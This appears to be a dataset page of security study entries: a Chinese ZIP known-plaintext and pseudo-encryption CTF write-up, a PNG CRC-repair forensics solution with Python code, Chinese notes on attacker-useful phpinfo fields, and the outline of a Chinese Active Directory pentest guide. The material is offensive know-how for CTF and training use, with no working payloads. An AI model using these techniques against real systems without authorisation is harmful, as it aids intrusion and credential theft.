看起来一切都很顺利的样子,同样花了两个多小时,为啥我在博客园上写了我跑了两个小时都没跑出来呢?或者说有朋友遇到了和我一样的问题,我明明和你是一样的,为啥我跑不出结果?
你们可能忽略了一些细节问题,有人曾想过原压缩包是通过什么方式压缩的嘛?还有就是我们生成的 `readme.zip` 又该以哪种方式去生成呢?我就是因为这个问题卡了整整三个月没做出来,不信的话我们可以看看第二种方法,在 `Windows` 下用 `ARCHPR` 进行明文攻击。
方法二、 `ARCHPR` 进行明文攻击
首先这题我建议大家下 `ARCHPR 4.53` 版本,我是在这个版本下测试成功的。成功截图如下:

我相信很多朋友在用 `ARCHPR` 的时候遇到以下这种情况:

我当时内心是崩溃的,为啥会出现这种情况。
在后来的学习中发现,用 `7z` 压缩的文件得用 `7z` 来解压缩, `7z` 是一种使用多种压缩算法进行数据压缩的档案格式,和传统的 `zip` , `rar` 相比,它的压缩比率更大,采用的压缩算法不同,自然而然就可能出现不匹配这种情况,所以我们在解压缩原压缩包和对文件进行加密的时候得先分析出题人是用什么方式进行加解密的,所以这题的问题显而易见就出来了,经过验证,我发现出题人是用 `7z` 进行压缩的。
**再尝试**
我们已经发现了这个问题,我们去官网下载 `7zip` :https://www.7-zip.org/
然后我们对原压缩文件用 `7z` 进行解压缩,然后将 `readme.txt` 用7z进行压缩即可。然后我们就可以用 `ARCHPR` 进行明文攻击了。
结果如下:

我们将 `Desktop_decrypted.zip` 解压出来,查看 `answer` 目录下的 `key.txt` 即可。
所以最终的flag为:**`flag{7ip_Fi13_S0m3tim3s_s0_3a5y@}`**
### ZIP格式文件的伪加密攻击方式原理
在上文 `ZIP` 格式中的 **核心目录区** 中,我们强调了一个叫做通用位标记 `(General purpose bit flag)` 的 `2` 字节,不同比特位有着不同的含义。
```shell
Bit 0: If set, indicates that the file is encrypted.
(For Method 6 - Imploding)
Bit 1: If the compression method used was type 6,
Imploding, then this bit, if set, indicates
an 8K sliding dictionary was used. If clear,
then a 4K sliding dictionary was used.
...
Bit 6: Strong encryption. If this bit is set, you should
set the version needed to extract value to at least
50 and you must also set bit 0. If AES encryption
is used, the version needed to extract value must
be at least 51.
...
```
在 `010Editor` 中我们尝试着将这 `1` 位修改 `0 --> 1`。再打开文件发现已要求输入密码。
修改伪加密的方法:
- `16` 进制下修改通用位标记
- `binwalk -e` 无视伪加密
- 在 `Mac OS` 及部分 `Linux`(如 `Kali` )系统中,可以直接打开伪加密的 `ZIP` 压缩包
- 检测伪加密的小工具 `ZipCenOp.jar`
- 有时候用 `WinRar` 的修复功能(此方法有时有奇效,不仅针对伪加密)
### ZIP格式文件的伪加密攻击方式例题
> `SSCTF-2017` :我们的秘密是绿色的
>
> `WP`:<http://bobao.360.cn/ctf/detail/197.html>
我们在得到两个 `readme.txt`,且一个加密,一个已知,很容易想到明文攻击的手法。
注意在用明文攻击时的操作。

得到密码 `Y29mZmVl` 后,解压缩文件,得到另一个压缩包。
观察通用位标记位,猜测伪加密,修改后解压得到 flag。
这一题,基本涵盖了比赛中 ZIP 的常见考察手法,爆破,伪加密,明文攻击等,都在本题中出现。
|
sec-knowleage
|
# Cool Recovery Concept
Category: Forensics
## Description
> I received this image from my partner in Intro. to Computer Networks and it seems to be corrupted, can you fix it?
A PNG file was attached.
## Solution
From the challenge title we can already guess that we will be dealing with CRC mismatches.
The PNG we've downloaded is corrupted, as confirmed by `pngcheck`:
```console
root@kali:/media/sf_CTFs/technion/Cool_Recovery_Concept# pngcheck cool_recovery_concept.png
cool_recovery_concept.png invalid IHDR image dimensions (0x0)
ERROR: cool_recovery_concept.png
```
Looks like the image width and height are set to 0, which is invalid.
So, we'll try to search for the correct width and height values, checking ourselves against the IHDR CRC. When we find good values, we'll fix the image and write the result to a new file.
In order to abstract away the implementation details of a PNG file and concentrate on the high-level logic, we'll use a "toy" PNG module which supports more or less the bare minimum for this challenge.
First, the solution:
```python
from png import Png
with open("cool_recovery_concept.png", "rb") as f:
image = Png(f)
assert(image.ihdr.is_crc_valid() == False)
print("Searching for width, height which will provide CRC value {}"
.format(hex(image.ihdr.crc)))
for h in range(2000):
for w in range(2000):
image.ihdr.body.height = h
image.ihdr.body.width = w
if image.ihdr.is_crc_valid():
file_name = f"result_{w}x{h}.png"
print(f"Found a match, writing to {file_name}")
with open(file_name, "wb") as o:
o.write(image.to_bytes())
```
Output:
```console
root@kali:/media/sf_CTFs/technion/Cool_Recovery_Concept# python3 solve.py
Searching for width, height which will provide CRC value 0x831721d9
Found a match, writing to result_1328x995.png
```
The fix in the binary:
```console
root@kali:/media/sf_CTFs/technion/Cool_Recovery_Concept# xxd -g 1 cool_recovery_concept.png | head -2
00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
00000010: 00 00 00 00 00 00 00 00 08 06 00 00 00 83 17 21 ...............!
root@kali:/media/sf_CTFs/technion/Cool_Recovery_Concept# xxd -g 1 result_1328x995.png | head -2
00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
00000010: 00 00 05 30 00 00 03 e3 08 06 00 00 00 83 17 21 ...0...........!
```
The flag was in the image: `cstechnion{f1x1ng_3rror5_us1ng_3rror_d3t3ction}`.
The PNG module is brought here for completeness as well, however it is a half-baked toy implementation and should not be used for anything important.
```python
import struct, io, logging, zlib
from collections import namedtuple
class StructBase(object):
def __init__(self):
self._total_length = 0
def read(self, iostream, format):
length = struct.calcsize(format)
self._total_length += length
res = struct.unpack(format, iostream.read(length))
if len(res) != 1:
raise ValueError("read() expects exactly one format entity")
return res[0]
def read_child(self, child):
self._total_length += child.get_length()
return child
def get_length(self):
return self._total_length
def verify_length(self, expected_length):
if self._total_length != expected_length:
raise RuntimeError(f"Error: Expected {expected_length} bytes, got {self._total_length}")
class ChunkBodyIHDR(StructBase):
TYPE = b'IHDR'
_fields = {
"width": '>I',
"height": '>I',
"bit_depth": '>B',
"color_type": '>B',
"compression_method": '>B',
"filter_method": '>B',
"interlace_method": '>B',
}
def __init__(self, iostream, length):
super().__init__()
for name, format in self._fields.items():
setattr(self, name, self.read(iostream, format))
self.verify_length(length)
def to_bytes(self):
res = bytearray()
for name, format in self._fields.items():
res.extend(struct.pack(format, getattr(self, name)))
return res
class ChunkBodyIEND(StructBase):
TYPE = b'IEND'
def __init__(self, iostream, length):
super().__init__()
self.verify_length(length)
def to_bytes(self):
return b''
class ChunkBodyGeneric(StructBase):
def __init__(self, iostream, length):
super().__init__()
self.bytes = self.read(iostream, f">{length}s")
self.verify_length(length)
def to_bytes(self):
return bytes(self.bytes)
class Chunk(StructBase):
type_factory = {
ChunkBodyIHDR.TYPE: ChunkBodyIHDR,
ChunkBodyIEND.TYPE: ChunkBodyIEND
}
_fields = {
"length": '>I',
"type": '>4s',
"body": '?',
"crc": '>I',
}
def __init__(self, iostream):
super().__init__()
self.length = self.read(iostream, self._fields["length"])
self.type = self.read(iostream, self._fields["type"])
self.body = self.read_child(self.chunk_factory(self.type)(iostream, self.length))
self.crc = self.read(iostream, self._fields["crc"])
@classmethod
def chunk_factory(cls, type):
if type in cls.type_factory:
return cls.type_factory[type]
logging.debug(f"Unimplemented chunk type: {type.decode('ASCII')}")
return ChunkBodyGeneric
def to_bytes(self):
res = bytearray()
res.extend(struct.pack(self._fields["length"], self.length))
res.extend(struct.pack(self._fields["type"], self.type))
res.extend(self.body.to_bytes())
res.extend(struct.pack(self._fields["crc"], self.crc))
return res
def is_crc_valid(self):
actual_crc = zlib.crc32(self.type + self.body.to_bytes()) & 0xffffffff
return actual_crc == self.crc
class Png(object):
PNG_MAGIC = b'\x89PNG\r\n\x1a\n'
def __init__(self, byte_stream):
self.io = byte_stream
self.magic = byte_stream.read(len(self.PNG_MAGIC))
if self.magic != self.PNG_MAGIC:
raise Exception("Invalid signature")
self.chunks = []
self._read_chunks()
def _read_chunks(self):
while chunk := Chunk(self.io):
self.chunks.append(chunk)
if chunk.type == ChunkBodyIEND.TYPE:
break
self.ihdr = self.chunks[0]
if self.ihdr.type != ChunkBodyIHDR.TYPE:
raise Exception("First chunk must be IHDR")
self.iend = self.chunks[-1]
def to_bytes(self):
res = bytearray()
res.extend(self.magic)
for chunk in self.chunks:
res.extend(chunk.to_bytes())
return res
if __name__ == "__main__":
with open("cool_recovery_concept.png", "rb") as f:
p = Png(f)
```
|
sec-knowleage
|
# phpinfo
---
**相关文章**
- [phpinfo 可以告诉我们什么](http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/)
- [PHPINFO 中的重要信息](https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/)
- [amazing phpinfo() ](https://skysec.top/2018/04/04/amazing-phpinfo/)
- [phpinfo 中值得注意的信息](https://seaii-blog.com/index.php/2017/10/25/73.html)
- [php中函数禁用绕过的原理与利用](https://mp.weixin.qq.com/s/_L379eq0kufu3CCHN1DdkA)
**相关工具**
- [proudwind/phpinfo_scanner](https://github.com/proudwind/phpinfo_scanner) - 抓取 phpinfo 重要信息 - 我这里运行报错,解决方法是把15行的3个 nth-child 改为 nth-of-type
---
## 版本号
最直观的就是php版本号(虽然版本号有时候会在响应头中出现)
找相应版本存在的漏洞
---
## DOCUMENT_ROOT
取得网站当前路径
---
## disable_functions
disable_functions 顾名思义函数禁用
如一些ctf题会把disable设置的极其恶心,这里要使用一些 bypass 的技巧
---
## open_basedir
该配置限制了当前 php 程序所能访问到的路径
---
## opcache
如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点
- https://www.cnblogs.com/xhds/p/13239331.html
---
## allow_url_include
文件包含相关
---
## allow_url_fopen
文件包含相关
---
## short_open_tag
短标签
---
## Server API
是否可用 PHP-FPM 绕过 disable_function
|
sec-knowleage
|
# 前言
**本指南/教程将从以下几个方面展开:**
* 搭建一个虚拟的活动目录(Active Directory)域实验环境
* 凭证重放攻击
* 域权限提升
* Dump系统和域秘钥
* Empire, Bloodhound和ranger等工具的使用
* 实际渗透测试案例
如果你对上面的内容感到不知所措,那么我推荐你先看一下[Windows的哈希](https://github.com/crazywa1ker/DarthSidious-Chinese/blob/c6a34e54bf4195829a27866986287e2e44540975/getting-started/intro-to-windows-hashes.md)之后再开始阅读[搭建实验环境](https://github.com/crazywa1ker/DarthSidious-Chinese/blob/c6a34e54bf4195829a27866986287e2e44540975/BUILDING-A-LAB/%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E5%B1%9E%E4%BA%8E%E4%BD%A0%E7%9A%84%E5%9F%9F%E6%B8%97%E9%80%8F%E7%8E%AF%E5%A2%83.md)。
如果你已经清楚以上的内容并且已经搭建好了一套实验环境,那么我建议你直接看[Network access to Domain Admin](https://github.com/crazywa1ker/DarthSidious-Chinese/blob/c6a34e54bf4195829a27866986287e2e44540975/getting-started/external-network-access-to-domain-admin.md)的内容,去了解攻击Active Directory域的一般方法。
**免责声明**
未经其合法所有者的完全授权,不得在未经授权的环境中使用本书中演示的工具。也不要在懵逼状态下去运行那些你不清楚含义的命令。
**待办事项清单**
* 进一步修改文章
* 对Active Directory的简介
* AD中的Kerberos和身份认证等内容
* 对PowerShell的简介
* 攻击MSSQL Servers的内容
* 客户端攻击
* 域枚举和信息收集
* 本地特权升级
* 交换枚举和攻击
* Sharepoint枚举和攻击
* 针对常见攻击的防御措施
* AD安全的一般性建议
**未来的计划**
* 对Kerberos的攻击和防御 \(黄金、白银票据 攻击等\)
* 委派问题
* 持久性技术
* AD环境中SQL Server凭信滥用问题
* 后门、命令与控制
* AD中林和域的信任
* 攻击检测技术
* Active Directory环境的防御
* [攻击域信任凭据](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
* LDAP与非Microsoft产品的集成
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.